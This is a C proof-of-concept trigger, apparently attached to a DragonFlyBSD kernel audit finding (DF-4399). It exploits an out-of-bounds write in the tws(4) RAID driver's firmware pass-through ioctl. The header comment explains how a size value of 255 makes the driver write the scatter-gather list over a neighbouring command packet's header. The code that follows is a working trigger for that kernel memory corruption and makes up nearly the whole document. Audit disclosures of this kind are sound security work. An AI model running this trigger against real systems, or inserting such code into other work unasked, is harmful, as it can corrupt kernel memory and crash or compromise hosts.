⬢ DragonFlyBSD Kernel Audit
DF-4399 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4399 trigger: TWS_IOCTL_FIRMWARE_PASS_THROUGH with a non-EXECUTE_SCSI
 * opcode and generic.size = 255. On submission, tws_dmamap_data_load_cbfn()
 * writes the SGL at (u_int32_t*)gcmd + 255 -> cmd_buf[2] + 128 + 1020,
 * i.e. at offset 124 of cmd_buf[3]'s packet — directly on packet 3's
 * header_desc (size_header/request_id/size_sense) and command body.
 *
 * Must run as root on a host with a tws(4) controller (/dev/tws0, mode 0600).
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

/* mirror of sys/dev/raid/tws packet layout (pack(1)) */
#pragma pack(1)
struct tw_driver_packet {
	unsigned int control_code, status, unique_id, sequence_id, os_status,
		     buffer_length;
};
struct tw_cmd_generic {
	unsigned char  sgl_off__opcode;
	unsigned char  size;		/* <-- attacker-controlled SGL offset */
	unsigned char  request_id, host_id__unit, status, flags;
	unsigned short count;
};
struct tw_cmd_packet_u {
	unsigned char hdr[128];		/* tws_command_header */
	unsigned char giga[896];	/* union tws_command_giga / apache body */
};
struct tw_ioctl_no_data_buf {
	struct tw_driver_packet driver_pkt;
	void *pdata;
	char padding[488 - sizeof(void *)];
	struct tw_cmd_packet_u cmd_pkt;
};
#pragma pack()

#define TWS_IOCTL_FIRMWARE_PASS_THROUGH \
	_IOWR('T', 202, struct tw_ioctl_no_data_buf)
#define TWS_FW_CMD_SET_PARAM 0x13

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/tws0";
	static struct tw_ioctl_no_data_buf b;
	static char data[4096];
	int fd = open(dev, O_RDWR);
	if (fd < 0) { perror(dev); return 1; }

	memset(&b, 0, sizeof(b));
	b.driver_pkt.buffer_length = sizeof(data); /* non-zero -> SGL branch */
	b.pdata = data;
	/* non-EXECUTE_SCSI opcode + max u8 size: SGL write at gcmd+1020 */
	b.cmd_pkt.giga[0] = TWS_FW_CMD_SET_PARAM;
	((struct tw_cmd_generic *)(void *)b.cmd_pkt.giga)->size = 255;

	if (ioctl(fd, TWS_IOCTL_FIRMWARE_PASS_THROUGH, &b) < 0)
		perror("ioctl");
	printf("os_status=%u status=%u\n", b.driver_pkt.os_status,
	       b.driver_pkt.status);
	return 0;
}